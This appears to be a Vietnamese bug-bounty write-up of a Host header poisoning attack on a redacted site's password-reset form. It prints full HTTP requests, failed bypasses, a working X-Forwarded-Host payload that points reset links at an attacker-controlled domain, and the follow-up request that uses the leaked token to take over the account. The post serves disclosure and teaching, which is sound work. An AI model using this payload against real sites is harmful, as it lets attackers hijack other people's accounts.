Hoài niệm … Host Header Attack

hkln1
tradahacking
Published in
4 min readSep 23, 2018
  • Tôi vốn thuộc típ người hay hoài niệm về quá khứ, những cái gì mang phong cách xưa, cổ điển luôn tạo cho tôi một cảm giác khó cưỡng. Nhưng dòng đời đưa đẩy, ko cho phép tôi sống đúng với bản chất thật của mình. Ngày nay cuộc sống biến đổi liên tục. Nhớ vài năm trước hai v/c ăn một buổi ăn sáng mất có 6, 7 mươi nghìn, nay những quán quen thuộc đó tăng nhẹ khoảng hơn 100 nghìn cho hai người ăn. Xăng thì vài năm trước một lít 15, 16 nghìn gì đó, giờ một lít 95 cũng phải mất tầm 21 nghìn. Một em bông hậu hồi đó 3, 4 nghìn là hết cỡ, giờ phải là 5 là 7 nghìn, thậm chí 25 nghìn :(. Lại nói về bug bounty, hồi xưa tìm một bug vài trăm Obama là mừng muốn tụt quần. Giờ vài nghìn Trump thấy cũng ko có cảm giác gì hay ho (Tui đùa đấy, các bạn đừng nghĩ thật nhé =))). Nói vậy để thấy cuộc sống ngày nay thay đổi không ngừng, nó đòi hỏi ta phải phát triển/cải tiến nếu không muốn mình tụt hậu. Trong lĩnh vực chọt lỗ lụm tiền, ta phải cập nhật liên tục những kỹ thuật/chiến thuật mới mới có thể cạnh tranh được với các ninja khác. Tuy nhiên, ko phải lúc nào những kỹ thuật mới cũng giúp ta trong mọi trường hợp. Một ngày đẹp trời ,nếu các bạn test đủ mọi lỗi, bypass filter/waf các kiểu không có tác dụng thì hãy nhớ thử 1 case sau, biết đâu vận may sẽ tìm đến mình :)).
  • Tại chức năng quên mật khẩu, sau khi test IDOR (reset password của thằng khác — account takeover) không thành công. Tôi chợt nhớ một kỹ thuật đã được lưu truyền trong dân gian được gọi là Host Header Attack (Host Header Poisoning — https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html)
  • Đây là request gốc:

POST /xxaccount/password/forgot HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.xxx.com/xxaccount/password/forgot
Content-Type: application/x-www-form-urlencoded
Content-Length: 227
Cookie: ***
Connection: close
Upgrade-Insecure-Requests: 1

authenticity_token=3ZSjdWGzx2lPE6AeVF9rTbgH5YesdN0O1B35GoabD1A%3D&forgot_password%5Bemail_address%5D=testseku2%40gmail.com

  • Theo tutorial, tôi thay Host: www.xxx.com -> Host: www.hkln1.ninja. Response trả về (không thành công):

HTTP/1.0 400 Bad Request
Mime-Version: 1.0
Content-Type: text/html
Content-Length: 285
Expires: Sun, 23 Mar 2018 08:36:08 GMT
Date: Sun, 23 Mar 2018 08:36:08 GMT
Connection: close

<HTML><HEAD>
<TITLE>Invalid URL</TITLE>
</HEAD><BODY>
<H1>Invalid URL</H1>
</BODY></HTML>

  • Tiếp tục, tôi thêm X-Forwarded-Host: www.hkln1.ninja

POST /xxaccount/password/forgot HTTP/1.1
Host: www.xxx.com
X-Forwarded-Host: www.hkln1.ninja
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.xxx.com/profiles/password/forgot
Content-Type: application/x-www-form-urlencoded
Content-Length: 227
Cookie: ***
Connection: close
Upgrade-Insecure-Requests: 1

authenticity_token=3ZSjdWGzx2lPE6AeVF9rTbgH5YesdN0O1B35GoabD1A%3D&forgot_password%5Bemail_address%5D=testseku2%40gmail.com

  • Lần này Response trả về mã 302, nhưng cũng ko thành công (không gửi mail reset password về)
  • Sau một hồi fuzz tôi nhận thấy, khi tôi thêm header X-Forwarded-Host: thì phải đúng domain của ứng dụng nó mới gửi mail reset password (trong trường hợp này là X-Forwarded-Host: www.xxx.com). Nhưng mục tiêu của tôi là poisoning làm sao để nó generate một malicious password reset link chứa domain mà tôi kiểm soát (để khi thằng victim check mail và click vào link thì nó sẽ gửi request đến server của tôi bao gồm token reset password)
  • Tôi lại tiếp tục thử:

X-Forwarded-Host: www.xxx.com.vn → Không được
X-Forwarded-Host: www.xxx.net → Không được
X-Forwarded-Host: www.xxx.com:@hkln1.ninja → không được
X-Forwarded-Host: www.hkln1.ninja/www.xxx.com/ → Không được
X-Forwarded-Host: www.hkln1.ninja?.www.xxx.com → Không được

  • Search muốn banh cái google luôn cũng không thấy payload nào thành công. Cuối cùng đành phải dùng tuyệt kỹ fuzzing cũng ra được cái payload X-Forwarded-Host: hkln1.ninja/\www.xxx.com. Request như thế này:

POST /xxaccount/password/forgot HTTP/1.1
Host: www.xxx.com
X-Forwarded-Host: hkln1.ninja/\www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.xxx.com/xxaccount/password/forgot
Content-Type: application/x-www-form-urlencoded
Content-Length: 227
Cookie: ***
Connection: close
Upgrade-Insecure-Requests: 1

authenticity_token=3ZSjdWGzx2lPE6AeVF9rTbgH5YesdN0O1B35GoabD1A%3D&forgot_password%5Bemail_address%5D=testseku2%40gmail.com

  • Ứng dụng gửi email reset password:
  • Sau khi victim click vào link, sẽ gửi một request đến domain ta kiểm soát (bao gồm token reset password)
  • Dùng token cướp được thực thi request sau để reset password

POST /xxaccount/password/reset/wbeajwo HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.xxx.com/xxaccount/password/
Content-Type: application/x-www-form-urlencoded
Content-Length: 224
Cookie: ***
Connection: close
Upgrade-Insecure-Requests: 1

authenticity_token=3ZSjdWGzx2lPE6AeVF9rTbgH5YesdN0O1B35GoabD1A%3D&reset_password%5Bpassword%5D=123abc!!!&reset_password%5Bpassword_confirmation%5D=123abc!!!&reset_password%5Bredirect_uri%5D=%2Fxxaccount%2F

  • Sau khi submit, vài ngày sau đã được reward một bounty nho nhỏ :D

--

--